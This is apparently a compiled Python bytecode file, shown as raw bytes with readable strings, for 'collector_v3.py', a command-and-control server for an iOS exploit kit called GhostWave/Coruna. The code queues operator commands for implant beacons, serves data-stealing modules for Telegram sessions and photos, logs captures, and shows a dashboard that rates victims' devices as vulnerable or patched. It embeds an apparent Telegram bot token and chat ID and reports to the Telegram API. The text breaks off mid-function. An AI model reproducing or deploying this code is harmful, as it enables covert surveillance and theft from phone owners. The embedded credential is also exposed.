§
    øåÙj6U  ã                   ó^  — d Z ddlZddlZddlZddlZddlZddlZddlZ	ddl
Z
ddlZddlZddlZej                             ej                             e¦  «        ¦  «        Zej                             ed¦  «        Zej                             ed¦  «        Zej                             ed¦  «        ZeeefD ]Z ej        ed¬¦  «         Œ ej        ¦   «         Z e¦   «         ZdZej                             ed	¦  «        Zej                              d
d¦  «        Z!d„ Z"d„ Z#d„ Z$d„ Z%d„ Z&d„ Z'd„ Z(dZ)dZ*ej                             edd¦  «        Z+d„ Z,d„ Z-d„ Z.ej                              dd¦  «        Z/d„ Z0 G d„ dej1        j2        ¦  «        Z3e4dk    r– e5ej6        ¦  «        dk    r e7ej6        d         ¦  «        nd Z8dej9        _:        dej9        _;         ej9        d!e8fe3¦  «        5 Z< e=d"ee8fz  ¦  «         e< >                    ¦   «          ddd¦  «         dS # 1 swxY w Y   dS dS )#uù  collector_v3.py â€” unified kit collector with GhostWave C2 protocol on top of v2.

Adds to v2 collector:
  POST /beacon (and /ios18/beacon)  -> implant heartbeat; RESPONDS with next queued
                                       command (JSON {type: ..., params: ...}) or {"type":"noop"}
  POST /api/payload/get (any prefix) -> serves loot modules (telegram_v1.js,
                                       photos_upload_v1.js, session_*.js...) from modules/
  POST /api/task/status etc          -> generic sink (captures)
  GET  /c2?q=<json>                  -> operator command queue inject (auth: ?key=<stats key>)

Everything else behaves like v2: /stats (HTML/JSON, key-protected), /log.html,
/collect/*, /p /war /result /upload /a /u /nb /event -> captures.
é    NÚcollector_logsÚcapturesÚmodulesT)Úexist_oké@   zc2_queue.jsonÚ	STATS_KEYÚ c                 óÀ   — t           5  t          | d¦  «        5 }|                     |¦  «         d d d ¦  «         n# 1 swxY w Y   d d d ¦  «         d S # 1 swxY w Y   d S )NÚab)ÚLOCKÚopenÚwrite)ÚpathÚdataÚfhs      ú"/var/www/handmadgifts/collector.pyÚlogr      sÝ   € Ý	ð ð Ý�$˜ÑÔð 	 Ø�HŠH�T‰NŒNˆNð	ð 	ð 	ñ 	ô 	ð 	ð 	ð 	ð 	ð 	ð 	øøøð 	ð 	ð 	ð 	ðð ð ñ ô ð ð ð ð ð ð ð øøøð ð ð ð ð ð s.   ˆA™;¯A»?	¿AÁ?	ÁAÁAÁAc           
      ó  — 	 t           j                             | ¦  «        t          dz  dz  k    rHt          j        | | dz   t          t          t          j        ¦   «         ¦  «        ¦  «        z   ¦  «         d S d S # t          $ r Y d S w xY w)Ni   ú.)	Úosr   ÚgetsizeÚ
MAX_LOG_MBÚreplaceÚstrÚintÚtimeÚOSError)r   s    r   Úrotr   #   s‹   € ðÝŒ7�?Š?˜4Ñ Ô ¥:°Ñ#4°tÑ#;Ò;Ð;ÝŒJ�t˜T C™Z­#­cµ$´)±+´+Ñ.>Ô.>Ñ*?Ô*?Ñ?Ñ@Ô@Ð@Ð@Ð@ð <Ð;øåð ð ð Øˆˆðøøøs   ‚A4A: Á:
BÂBc                  óv  — t           5  	 t          j        t          t          ¦  «        ¦  «        } n # t
          $ r ddicY cddd¦  «         S w xY w| sddicddd¦  «         S |                      d¦  «        }t          j        | t          t          d¦  «        ¦  «         |cddd¦  «         S # 1 swxY w Y   dS )z.return next pending command for implant beaconÚtypeÚnoopNr   Úw)r   ÚjsonÚloadr   ÚQUEUEÚ	ExceptionÚpopÚdump)ÚqÚcmds     r   Ú	queue_popr+   *   sA  € å	ð 	ð 	ð	$Ý”	�$�u™+œ+Ñ&Ô&ˆAˆAøÝð 	$ð 	$ð 	$Ø˜FÐ#Ð#Ð#ð		ð 	ð 	ð 	ñ 	ô 	ð 	ð 	ð	$øøøàð 	$Ø˜FÐ#ð	ð 	ð 	ð 	ñ 	ô 	ð 	ð 	ð �eŠe�A‰hŒhˆÝŒ	�!•T�% Ñ%Ô%Ñ&Ô&Ð&Øð	ð 	ð 	ð 	ñ 	ô 	ð 	ð 	ð 	ð 	ð 	ð 	øøøð 	ð 	ð 	ð 	ð 	ð 	s6   ˆB.Š&1°B.±A¿B.ÁAÁB.Á#>B.Â.B2Â5B2c                 óT  — t           5  	 t          j        t          t          ¦  «        ¦  «        }n# t
          $ r g }Y nw xY w|                     | ¦  «         t          j        |t          t          d¦  «        d¬¦  «         t          |¦  «        cd d d ¦  «         S # 1 swxY w Y   d S )Nr"   é   )Úindent)	r   r#   r$   r   r%   r&   Úappendr(   Úlen)r*   r)   s     r   Ú
queue_pushr1   7   så   € Ý	ð ð ð	Ý”	�$�u™+œ+Ñ&Ô&ˆAˆAøÝð 	ð 	ð 	ØˆAˆAˆAð	øøøà	�Š�‰ŒˆÝŒ	�!•T�% Ñ%Ô%¨aÐ0Ñ0Ô0Ð0Ý�1‰vŒvðð ð ð ñ ô ð ð ð ð ð ð øøøð ð ð ð ð ð s0   ˆBŠ&1°B±A ½B¿A Á ABÂB!Â$B!c                  óî  — di ddddd t          ¦   «         i i g i dddœ} 	 t          t          j        t          ¦  «        ¦  «        D �]”}| dxx         dz  cc<   t          t          j                             t          |¦  «        d¦  «        5 }|                     d¦  «        }d d d ¦  «         n# 1 swxY w Y   d|d d…         v r6| 	                    d¦  «        d         d d	…          
                    d
¦  «        nd }|r|| d<   |pdd d…         }| 
                    dd¦  «        }d|v sd|v r| dxx         dz  cc<   t          j        d|¦  «        D ]�}| 
                    ¦   «         }| dxx         dz  cc<   |r(| d                              |d¦  «        dz   | d         |<   |dv r| dxx         dz  cc<   |dk    r| dxx         dz  cc<   |dk    r| dxx         dz  cc<   Œ‘t          j        d|¦  «        D ]>}| 
                    ¦   «         }	| d                              |	d¦  «        dz   | d         |	<   Œ?t          j        d|¦  «        D ]/}
| d                              |
 
                    ¦   «         ¦  «         Œ0dd l}t          j        d|¦  «        D ]‡}|j                             | 
                    ¦   «         ¦  «        }|rW|dk    rQ|j                             |¦  «        j        p	|d d …         }| d!                              |d¦  «        dz   | d!         |<   Œˆt          j        d"|¦  «        D ]n}|j                             | 
                    ¦   «         ¦  «        }|r>|dk    r8| d#                              |d d$…         d¦  «        dz   | d#         |d d$…         <   Œo|r6d%|v sd&|v sd'|v sd(|v r&| d)                              ||d d …         d*œ¦  «         �Œ–n# t*          $ r Y nw xY w	 t-          j        t          t          j                             t0          d+¦  «        ¦  «        ¦  «        | d,<   n# t2          $ r d | d,<   Y nw xY wt          | d         ¦  «        | d<   | d)         d-d …         | d)<   | S ).Nr   )ÚbeaconsÚroutesÚerrorsÚstageokÚ	stagefailr   Úlast_tsÚuidsÚ	referrersÚpagesÚeventsÚper_dayÚ
c2_beaconsÚc2_cmds_servedr   r-   Úrbi @  s   --- é<   é   Úlatin1r8   r	   é
   úutf-8Úignorez"status": "idle"z"device_info"r>   s   tag=([a-z0-9_]+)r3   r=   )ÚerrÚjserrÚjsrejr7   r5   r6   r7   s   \b(coruna|ds|psword|none)\br4   s   uid=([A-Za-z0-9_]+)r9   s   ref=([A-Za-z0-9_.~%\-]+)ú-é(   r:   s   href=([A-Za-z0-9_.~%\-]+)r;   éx   Úf18zroute=z	tag=routeztag=f18r<   )ÚtsÚfileznginx_stats.jsonÚtrafficiâÿÿÿ)ÚsetÚsortedr   ÚlistdirÚCAPDr   r   ÚjoinÚreadÚsplitÚdecodeÚreÚfindallÚgetÚaddÚurllib.parseÚparseÚunquoteÚurlparseÚnetlocr/   r   r#   r$   ÚLOGDr&   )ÚstatsÚfnr   ÚblobÚtÚdayÚtxtÚtagÚrtÚrÚuÚurllibÚmÚrefÚhostÚpgs                   r   Úsummaryrr   B   s\  € Ø R°1ÀÐQRØ tµS±U´UØ r°RÀBØ°ð3ð 3€Eð$Ý�œ¥DÑ)Ô)Ñ*Ô*ð !	Cñ !	CˆBØ�*ÐÐÔ Ñ"ÐÐÑÝ•b”g—l’l¥4¨Ñ,Ô,¨dÑ3Ô3ð &°rØ—w’w˜u‘~”~�ð&ð &ð &ñ &ô &ð &ð &ð &ð &ð &ð &øøøð &ð &ð &ð &à@GÈ4ÐPSÐQSÐPSÌ9Ð@TÐ@T�—
’
˜7Ñ#Ô# AÔ& s¨ sÔ+×2Ò2°8Ñ<Ô<Ð<ÐZ^ˆAØÐ& Q�%˜	Ñ"Ø�7˜˜C˜R˜C”.ˆCØ—+’+˜g xÑ0Ô0ˆCØ! SÐ(Ð(¨O¸sÐ,BÐ,BØ�lÐ#Ð#Ô# qÑ(Ð#Ð#Ñ#Ý”zÐ"6¸Ñ=Ô=ð ?ð ?�Ø—j’j‘l”l�Ø�iÐ Ð Ô  AÑ%Ð Ð Ñ Øð MØ,1°)Ô,<×,@Ò,@ÀÀaÑ,HÔ,HÈ1Ñ,L�E˜)Ô$ SÑ)ØÐ@Ð@Ð@À%ÈÀ/À/Ä/ÐUVÑBVÀ/À/Á/Ø˜)Ò#Ð# U¨9Ð%5Ð%5Ô%5¸Ñ%:Ð%5Ð%5Ñ%5Ø˜+Ò%Ð% u¨[Ð'9Ð'9Ô'9¸QÑ'>Ð'9Ð'9Ñ'9øÝ”jÐ!@À$ÑGÔGð Tð T�Ø—I’I‘K”K�°e¸H´o×6IÒ6IÈ!ÈQÑ6OÔ6OÐRSÑ6S  x¤°Ñ!3Ð!3Ý”ZÐ 7¸Ñ>Ô>ð .ð .�Ø�f”×!Ò! !§(¢(¡*¤*Ñ-Ô-Ð-Ð-ØÐÐÐÝ”ZÐ <¸dÑCÔCð Sð S�Ø”l×*Ò*¨1¯8ª8©:¬:Ñ6Ô6�Øð S˜3 #š:˜:Ø!œ<×0Ò0°Ñ5Ô5Ô<ÐHÀÀCÀRÀCÄ�DØ/4°[Ô/A×/EÒ/EÀdÈAÑ/NÔ/NÐQRÑ/R�E˜+Ô& tÑ,øÝ”ZÐ =¸tÑDÔDð Sð S�Ø”\×)Ò)¨!¯(ª(©*¬*Ñ5Ô5�Øð S˜" š)˜)Ø/4°W¬~×/AÒ/AÀ"ÀTÀcÀTÄ(ÈAÑ/NÔ/NÐQRÑ/R�E˜'”N 2 d s d¤8Ñ,øØð C�e˜s�l�l h°# o o¸ÈÐ9KÐ9KÈyÐ\_ÐO_ÐO_Ø�h”×&Ò&¨a¸¸C¸R¸C¼Ð'AÐ'AÑBÔBÐBùðC!	CøõD ð ð ð Øˆðøøøð Ýœ9¥T­"¬'¯,ª,µtÐ=OÑ*PÔ*PÑ%QÔ%QÑRÔRˆˆiÑÐøÝð  ð  ð  ØˆˆiÑÐÐð øøøå˜5 œ=Ñ)Ô)€Eˆ&�MØ˜H”o c d dÔ+€Eˆ(�OØ€LsJ   ŸA,O ÂB-Â!O Â-B1	Â1O Â4B1	Â5L&O Ï
O)Ï(O)Ï-AP5 Ð5QÑQc           	      óÚ  ‡‡‡‡— | sdS dd l Šˆfd„Šd|                      dd¦  «        |                      dd¦  «        fz  }d                     ˆfd„t          |                      di ¦  «                             ¦   «         ¦  «        D ¦   «         ¦  «        }d	|z  }d                     ˆfd
„t          |                      di ¦  «                             ¦   «         d„ ¬¦  «        d d…         D ¦   «         ¦  «        }d|z  }|                      di ¦  «                             di ¦  «        }d}|rHd                     ˆfd„t          |                     ¦   «         d„ ¬¦  «        D ¦   «         ¦  «        }d|z  }g d¢}	|                      d¦  «        pi }
g }t          |
                     ¦   «         d„ ¬¦  «        D ]g\  ŠŠt          ˆfd„dD ¦   «         ¦  «        sŒ!d                     ˆfd„|	D ¦   «         ¦  «        }|                     d ‰‰¦  «        ›d|›d�¦  «         Œhd}|r;d                     d„ |	D ¦   «         ¦  «        }d|›dd                     |¦  «        ›d �}d!|z   |z   |z   |z   |z   S )"Nr	   r   c                 óH   •— ‰                      t          | ¦  «        ¦  «        S ©N)Úescaper   )ÚxÚ_hs    €r   Úesczrender_traffic.<locals>.escx   s   ø€ Ø�yŠy�˜Q™œÑ Ô Ð ó    už   <div class="cards"><div class="card"><b>%d</b><span>Ð¥Ð¸Ñ‚Ð¾Ð² (nginx)</span></div><div class="card"><b>%d</b><span>Ð£Ð½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… IP</span></div></div>Úparsed_totalÚ
unique_ipsc              3   ó�   •K  — | ]@\  }}d  ‰|¦  «        |                      dd¦  «        |                      dd¦  «        fz  V — ŒAdS ©z*<tr><td>%s</td><td>%d</td><td>%d</td></tr>Úhitsr   ÚuniqueN©r[   ©Ú.0ÚkÚvry   s      €r   ú	<genexpr>z!render_traffic.<locals>.<genexpr>~   s{   øè è € ð Hð HÙ˜!˜Qð CÀcÀcÈ!ÁfÄfÈaÏeÊeÐTZÐ\]ÑN^ÔN^Ð`a×`eÒ`eÐfnÐpqÑ`rÔ`rÐEsÑsð Hð Hð Hð Hð Hð Hrz   Úfunnelu‹   <h3>Ð’Ð¾Ñ€Ð¾Ð½ÐºÐ° (nginx, ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ðµ IP)</h3><table><tr><th>Ñ�Ñ‚Ð°Ð´Ð¸Ñ�</th><th>Ñ…Ð¸Ñ‚Ñ‹</th><th>ÑƒÐ½Ð¸ÐºÐ¸</th></tr>%s</table>c              3   ó�   •K  — | ]@\  }}d  ‰|¦  «        |                      dd¦  «        |                      dd¦  «        fz  V — ŒAdS r~   r�   r‚   s      €r   r†   z!render_traffic.<locals>.<genexpr>‚   s{   øè è € ð Uð UÙ˜!˜Qð CÀcÀcÈ!ÁfÄfÈaÏeÊeÐTZÐ\]ÑN^ÔN^Ð`a×`eÒ`eÐfnÐpqÑ`rÔ`rÐEsÑsð Uð Uð Uð Uð Uð Urz   Údevicesc                 ó<   — | d                               dd¦  «         S )Nr-   r   r   r�   ©Úkvs    r   ú<lambda>z render_traffic.<locals>.<lambda>„   s   € ¸¸A¼¿ºÀ6È1Ñ9MÔ9MÐ8M€ rz   ©Úkeyé   u¤   <h3>Ð£Ñ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð° (Ñ€ÐµÐ°Ð»ÑŒÐ½Ñ‹Ðµ Ð²ÐµÑ€Ñ�Ð¸Ð¸ Version/x.y)</h3><table><tr><th>ÑƒÑ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð¾</th><th>Ñ…Ð¸Ñ‚Ñ‹</th><th>ÑƒÐ½Ð¸ÐºÐ¸</th></tr>%s</table>Ú
stage_histÚmsgsc              3   ó>   •K  — | ]\  }}d  ‰|¦  «        |fz  V — ŒdS ©z<tr><td>%s</td><td>%d</td></tr>N© r‚   s      €r   r†   z!render_traffic.<locals>.<genexpr>Š   s9   øè è € Ð}Ð}É4È1ÈaÐ8¸C¸CÀ¹F¼FÀA¸;ÑFÐ}Ð}Ð}Ð}Ð}Ð}rz   c                 ó   — | d          S ©Nr-   r•   r‹   s    r   r�   z render_traffic.<locals>.<lambda>Š   s   € ÐvxÐyzÔv{Ðu{€ rz   uP   <h3>Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ� Ñ�Ñ‚Ð°Ð´Ð¸Ð¹ (Ð¸Ñ�Ñ‚Ð¾Ñ€Ð¸Ñ� nginx)</h3><table>%s</table>)ÚentryÚbeaconÚbranchÚloaderÚworkerÚstageÚresultÚfunnel_by_devicec                 ó<   — | d                               dd¦  «         S )Nr-   rœ   r   r�   r‹   s    r   r�   z render_traffic.<locals>.<lambda>�   s   € ¸"¸Q¼%¿)º)ÀHÈaÑ:PÔ:PÐ8Q€ rz   c              3   ó    •K  — | ]}|‰v V — Œ	d S ru   r•   )rƒ   rw   Údevs     €r   r†   z!render_traffic.<locals>.<genexpr>�   s'   øè è € Ð8Ð8 �1˜�8Ð8Ð8Ð8Ð8Ð8Ð8rz   )ÚiPhoneÚiPadc              3   óJ   •K  — | ]}d ‰                      |d¦  «        z  V — ŒdS )z<td>%d</td>r   Nr�   )rƒ   ÚsÚstgss     €r   r†   z!render_traffic.<locals>.<genexpr>’   s4   øè è € ÐEÐE¸�m d§h¢h¨q°!¡n¤nÑ4ÐEÐEÐEÐEÐEÐErz   ú<tr><td>z</td>z</tr>c              3   ó    K  — | ]	}d |z  V — Œ
dS )z<th>%s</th>Nr•   )rƒ   r¦   s     r   r†   z!render_traffic.<locals>.<genexpr>–   s'   è è € Ð8Ð8¨A�m aÑ'Ð8Ð8Ð8Ð8Ð8Ð8rz   uu   <h3>Ð’Ð¾Ñ€Ð¾Ð½ÐºÐ° Ð¿Ð¾ ÑƒÑ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð°Ð¼ (ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ðµ IP)</h3><table><tr><th>ÑƒÑ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð¾</th>z</table>u4   <hr><h2>Ð¢Ñ€Ð°Ñ„Ð¸Ðº (Ð°Ð³Ñ€ÐµÐ³Ð°Ñ‚Ð¾Ñ€ nginx)</h2>)Úhtmlr[   rU   rR   ÚitemsÚanyr/   )ÚtrÚcardsÚfn_rowsÚfn_tblÚdv_rowsÚdv_tblÚshÚsh_tblÚrowsÚSTAGESÚfbdÚtdsÚfbd_tblÚhdrrx   r¢   ry   r§   s                 @@@@r   Úrender_trafficr»   t   sC  øøøø€ Øð ØˆrØÐÐÐð!ð !ð !ð !ð !ðð Ÿ&š& °Ñ3Ô3°R·V²V¸LÈ!Ñ5LÔ5LÐMñN€Eð �gŠgð Hð Hð Hð HÝ"(¨¯ª°¸"Ñ)=Ô)=×)CÒ)CÑ)EÔ)EÑ"FÔ"FðHñ Hô Hñ Hô H€GðdØgnño€Fà�gŠgð Uð Uð Uð UÝ"(¨¯ª°	¸2Ñ)>Ô)>×)DÒ)DÑ)FÔ)FØ-MÐ-Mð#Oñ #Oô #OØORÐPRÈsô#TðUñ Uô Uñ Uô U€GðlØovñw€Fà	�Š�˜bÑ	!Ô	!×	%Ò	% f¨bÑ	1Ô	1€BØ€FØ	ð kØ�wŠwÐ}Ð}Ð}Ð}ÕSYÐZ\×ZbÒZbÑZdÔZdÐj{Ðj{ÐS|ÑS|ÔS|Ð}Ñ}Ô}Ñ}Ô}ˆØcÐfjÑjˆØQÐQÐQ€FØ
�&Š&Ð#Ñ
$Ô
$Ð
*¨€CØ€DÝ˜CŸIšI™KœKÐ-QÐ-QÐRÑRÔRð @ð @‰	ˆˆTÝÐ8Ð8Ð8Ð8Ð%7Ð8Ñ8Ô8Ñ8Ô8ð 	ØØ�gŠgÐEÐEÐEÐE¸fÐEÑEÔEÑEÔEˆØ�Šˆ°°°C±´°°¸#¸#¸#Ð>Ñ?Ô?Ð?Ð?Ø€GØð gØ�gŠgÐ8Ð8°Ð8Ñ8Ô8Ñ8Ô8ˆˆàSVÐSVÐSVÐXZ×X_ÒX_Ð`dÑXeÔXeÐXeÐXeðgˆàAÀEÑIÈFÑRÐU\Ñ\Ð_eÑeÐhnÑnÐnrz   c                 óL  ‡— d„ }d                      d„ t          | d                              ¦   «         ¦  «        D ¦   «         ¦  «        }	 t          ¦   «         }d„ Šd                      ˆfd„t	          |                     ¦   «         ¦  «        d d…         D ¦   «         ¦  «        }n# t
          $ r d}Y nw xY wd|pd	z  }d                      d
„ t          | d                              ¦   «         ¦  «        D ¦   «         ¦  «        }d| d         |                      dd¦  «        t          | d         ¦  «        | d          || d         d¦  «         || d         d¦  «        |||d                      d„ t          | d         ¦  «        D ¦   «         ¦  «        t          j
        d¦  «        fz  S )Nc                 óª   — d                      d„ t          |                      ¦   «         d„ ¬¦  «        d d…         D ¦   «         ¦  «        }d|›d|pd›d	�S )
Nr	   c              3   ó*   K  — | ]\  }}d ||fz  V — ŒdS r”   r•   ©rƒ   r„   r…   s      r   r†   z+render_html.<locals>.tbl.<locals>.<genexpr>ž   sK   è è € ð Pð PÙ˜1˜að 9¸A¸q¸6ÑAð Pð Pð Pð Pð Pð Prz   c                 ó   — | d          S r—   r•   )rw   s    r   r�   z*render_html.<locals>.tbl.<locals>.<lambda>Ÿ   s   € ÀAÀaÄDÀ5€ rz   rŽ   é   z<div class="card"><h3>uA   </h3><table><tr><th>Ð¸Ñ�Ñ‚Ð¾Ñ‡Ð½Ð¸Ðº</th><th>Ñ…Ð¸Ñ‚Ð¾Ð²</th></tr>õ/   <tr><td colspan=2>Ð¿Ð¾ÐºÐ° Ð¿ÑƒÑ�Ñ‚Ð¾</td></tr>z</table></div>)rU   rR   r«   )ÚdÚnamerµ   s      r   Útblzrender_html.<locals>.tbl�   s}   € Ø�wŠwð Pð PÝ#)¨!¯'ª'©)¬)¸¸Ð#IÑ#IÔ#IÈ#È2È#Ô#NðPñ Pô Pñ Pô Pˆˆð �4�4˜ÐRÐ!RÐRÐRðTð 	Urz   r	   c              3   ó*   K  — | ]\  }}d ||fz  V — ŒdS r”   r•   r¿   s      r   r†   zrender_html.<locals>.<genexpr>¢   s0   è è € ÐhÐhÁ$À!ÀQÐ4¸¸1°vÑ=ÐhÐhÐhÐhÐhÐhrz   r=   c                 ó   — d| v rdS d| v rdS dS )Nõ   ÑƒÑ�Ð·Ð²Ð¸Ð¼Ð°ú#2e7d32õ   Ñ‡Ð°Ñ�Ñ‚Ð¸Ñ‡Ð½Ð¾ú#f9a825z#9aa4b2r•   )rÄ   s    r   Ú_dcolorzrender_html.<locals>._dcolor¥   s%   € Ø 4Ð'Ð'°	°	Ø! TÐ)Ð)°)°)Ø�9rz   c              3   óT   •K  — | ]"\  }}d  ‰|¦  «        | ‰|¦  «        |fz  V — Œ#dS )zQ<tr><td style="color:%s;font-weight:600">%s</td><td style="color:%s">%d</td></tr>Nr•   )rƒ   r„   r…   rÌ   s      €r   r†   zrender_html.<locals>.<genexpr>©   s˜   øè è € ð  vð  vñ  UYð  UVð  XYÐnÐryÐryÐz{Ñr|Ôr|Ð~ð  BIð  BIð  JKñ  BLô  BLð  NOð  rPñ  Pð  vð  vð  vð  vð  vð  vrz   r�   uì  <div class="card" style="flex:1 1 100%%"><h3>ðŸ“± Ð£Ñ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð° (Ð¸Ñ�Ñ‚Ð¾Ñ‡Ð½Ð¸Ðº Ñ…Ð¸Ñ‚Ð¾Ð²)</h3><div style="color:#9aa4b2;font-size:12px;margin-bottom:6px"><span style="color:#2e7d32;font-weight:700">â—� ÑƒÑ�Ð·Ð²Ð¸Ð¼Ð° (Coruna 15â€“17 / GhostWave 18.x)</span> Â· <span style="color:#f9a825;font-weight:700">â—� Ñ‡Ð°Ñ�Ñ‚Ð¸Ñ‡Ð½Ð¾</span> Â· <span style="color:#757575">â—� Ð¿Ñ€Ð¾Ð¿Ð°Ñ‚Ñ‡ÐµÐ½Ð¾</span></div><table><tr><th>ÑƒÑ�Ñ‚Ñ€Ð¾Ð¹Ñ�Ñ‚Ð²Ð¾</th><th>Ñ…Ð¸Ñ‚Ð¾Ð²</th></tr>%s</table></div>rÂ   c              3   ó*   K  — | ]\  }}d ||fz  V — ŒdS r”   r•   r¿   s      r   r†   zrender_html.<locals>.<genexpr>³   s0   è è € ÐiÐiÁDÀAÀqÐ6¸!¸Q¸Ñ?ÐiÐiÐiÐiÐiÐirz   r4   uõ  <!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>Stats</title><style>body{font-family:-apple-system,sans-serif;background:#0f1115;color:#e6e6e6;margin:0;padding:20px}.wrap{max-width:900px;margin:0 auto}h1{font-size:20px}.grid{display:flex;flex-wrap:wrap;gap:12px}.card{background:#181b22;border-radius:10px;padding:14px;flex:1 1 380px}table{border-collapse:collapse;width:100%%;font-size:13px}td,th{border-bottom:1px solid #262b36;padding:5px 8px;text-align:left}th{color:#9aa4b2}.big{font-size:28px;font-weight:700}</style></head><body><div class="wrap"><h1>handmadgifts â€” Ñ�Ñ‚Ð°Ñ‚Ð¸Ñ�Ñ‚Ð¸ÐºÐ°</h1><div class="grid"><div class="card"><div>Ð’Ñ�ÐµÐ³Ð¾ Ñ�Ð¾Ð±Ñ‹Ñ‚Ð¸Ð¹</div><div class="big">%d</div></div><div class="card"><div>C2 beacons</div><div class="big">%d</div></div><div class="card"><div>Ð£Ð½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… uid</div><div class="big">%d</div></div><div class="card"><div>ÐšÐ°Ð¿Ñ‡ÐµÑ€Ð¾Ð²</div><div class="big">%d</div></div></div><div class="grid">%s%s<div class="card"><h3>ÐœÐ°Ñ€ÑˆÑ€ÑƒÑ‚Ñ‹ (ÐºÑ‚Ð¾ ÐºÐ°ÐºÐ¾Ð¹ ÐºÐ¸Ñ‚ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ð»)</h3><table><tr><th>Ð²ÐµÑ‚ÐºÐ°</th><th>Ñ…Ð¸Ñ‚Ð¾Ð²</th></tr>%s</table></div><div class="card"><h3>ÐŸÐ¾ Ð´Ð½Ñ�Ð¼</h3><table><tr><th>Ð´ÐµÐ½ÑŒ</th><th>Ñ…Ð¸Ñ‚Ð¾Ð²</th></tr>%s</table></div></div>%s<div class="card"><h3>ÐŸÐ¾Ñ�Ð»ÐµÐ´Ð½Ð¸Ðµ Ñ�Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ�</h3><table><tr><th>Ð²Ñ€ÐµÐ¼Ñ�</th><th>Ñ„Ð°Ð¹Ð»</th></tr>%s</table></div><p style="color:#666;font-size:12px">Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¾ %s &middot; JSON: &format=json</p></div></body></html>r3   r>   r   r9   r   r:   u8   Ð¡ ÐºÐ°ÐºÐ¸Ñ… Ñ�Ð°Ð¹Ñ‚Ð¾Ð² Ð¿Ñ€Ð¸Ñ…Ð¾Ð´Ð¸Ð»Ð¸ (referrer)r;   u"   Ð¡Ñ‚Ñ€Ð°Ð½Ð¸Ñ†Ñ‹ Ð²Ñ…Ð¾Ð´Ð° (href)c              3   ó@   K  — | ]}d |d         ›d|d         ›d�V — ŒdS )r¨   rN   z	</td><td>rO   z
</td></tr>Nr•   )rƒ   Úes     r   r†   zrender_html.<locals>.<genexpr>Ò   s9   è è € ÐiÐiÈQÈQ°Q°t´W°W°W¸aÀ¼i¸i¸iÐHÐiÐiÐiÐiÐiÐirz   r<   ú%F %T)rU   rR   r«   Úparse_devicesÚlistr&   r[   r0   Úreversedr   Ústrftime)ÚstrÅ   ÚdaysÚ_devsÚdev_rowsÚdev_cardr4   rÌ   s          @r   Úrender_htmlrÛ   œ   s)  ø€ ðUð Uð Uð
 �7Š7ÐhÐhÍ&ÐQSÐT]ÔQ^×QdÒQdÑQfÔQfÑJgÔJgÐhÑhÔhÑhÔh€DðÝ‘”ˆð	ð 	ð 	ð —7’7ð  vð  vð  vð  võ  ]að  bg÷  bmò  bmñ  boô  boñ  ]pô  ]pð  qtð  rtð  qtô  ]uð  vñ  vô  vñ  vô  vˆˆøÝð ð ð Øˆˆˆðøøøðcð ÐPÐPñR€Hð �WŠWÐiÐiÍFÐSUÐV^ÔS_×SeÒSeÑSgÔSgÑLhÔLhÐiÑiÔiÑiÔi€Fð#ð4 	ˆ9Œ�r—v’v˜l¨AÑ.Ô.µ°B°v´J±´ÀÀJÄØˆˆBˆ{ŒOÐWÑXÔXØˆˆBˆwŒKÐ=Ñ>Ô>Ø��hØ
�ŠÐiÐiÕRZÐ[]Ð^fÔ[gÑRhÔRhÐiÑiÔiÑiÔiÝŒ�gÑÔð' ñ3 ð  s   Á
AB$ Â$B3Â2B3z.8856442544:AAEtCAciPv25ALrUz1fwfEPkFw8E6Gd-v2Uz-1004438038304ztr_map.jsonc                  ór   — t          j        t          t          ¦  «        ¦  «        S # t          $ r i cY S w xY wru   )r#   r$   r   ÚTRMAPr&   r•   rz   r   Ú_tr_loadrÞ   Ù   s3   € Ý”	�$�u™+œ+Ñ&Ô&Ð	&øÝÐÐÐ˜R�i�i�iÐøøøs   �%' §6µ6c                 óx   — t          j        | t          t          d¦  «        ¦  «         d S # t          $ r Y d S w xY w)Nr"   )r#   r(   r   rÝ   r&   )rÃ   s    r   Ú_tr_saverà   Ü   s=   € Ý	Œ�1•d�5 #Ñ&Ô&Ñ	'Ô	'Ð	'Ð	'Ð	'øÝÐÐÐ�d�d�dÐøøøs   �(+ «
9¸9c                 ó  — 	 dd l m} t          j                             t
          | dœ¦  «                             ¦   «         }|                     |                     dt          z   dz   |¬¦  «        d¬¦  «         d S # t          $ r Y d S w xY w)Nr   )Úchat_idÚtextzhttps://api.telegram.org/botz/sendMessage)r   é   )Útimeout)Úurllib.requestÚrequestrm   r^   Ú	urlencodeÚTG_CHATÚencodeÚurlopenÚRequestÚTG_TOKENr&   )ÚmsgÚurr   s      r   Úsend_tgrð   ß   s”   € ðØ#Ð#Ð#Ð#Ð#Ð#ÝŒ|×%Ò%µ'À3Ð&GÐ&GÑHÔH×OÒOÑQÔQˆØ
�
Š
�2—:’:Ð<½xÑGÈ.ÑXÐ_c�:ÑdÔdÐnoˆ
ÑpÔpÐpÐpÐpøÝÐÐÐ�d�d�dÐøøøs   ‚A6A: Á:
BÂBÚ	NGINX_LOGz&/var/log/nginx/handmadgifts.access.logc                  ó˜  ‡‡— ddl m}  ddlŠddlŠ | ¦   «         }t	          j        d¦  «        }t	          j        d¦  «        }d„ }ˆˆfd„} |¦   «         D �]Ó}t	          j        d|                     ¦   «         ¦  «        }|r|                     d	¦  «        n|}|                     |¦  «        p|                     |¦  «        }	|	râd
|v sd|v rÚt          |	                     d	¦  «        ¦  «        t          |	                     d¦  «        ¦  «        }}
|	                     d¦  «        r"t          |	                     d¦  «        ¦  «        nd}|
› d|› �|	                     d¦  «        rd|› �ndz   }d|v rdnd
} ||
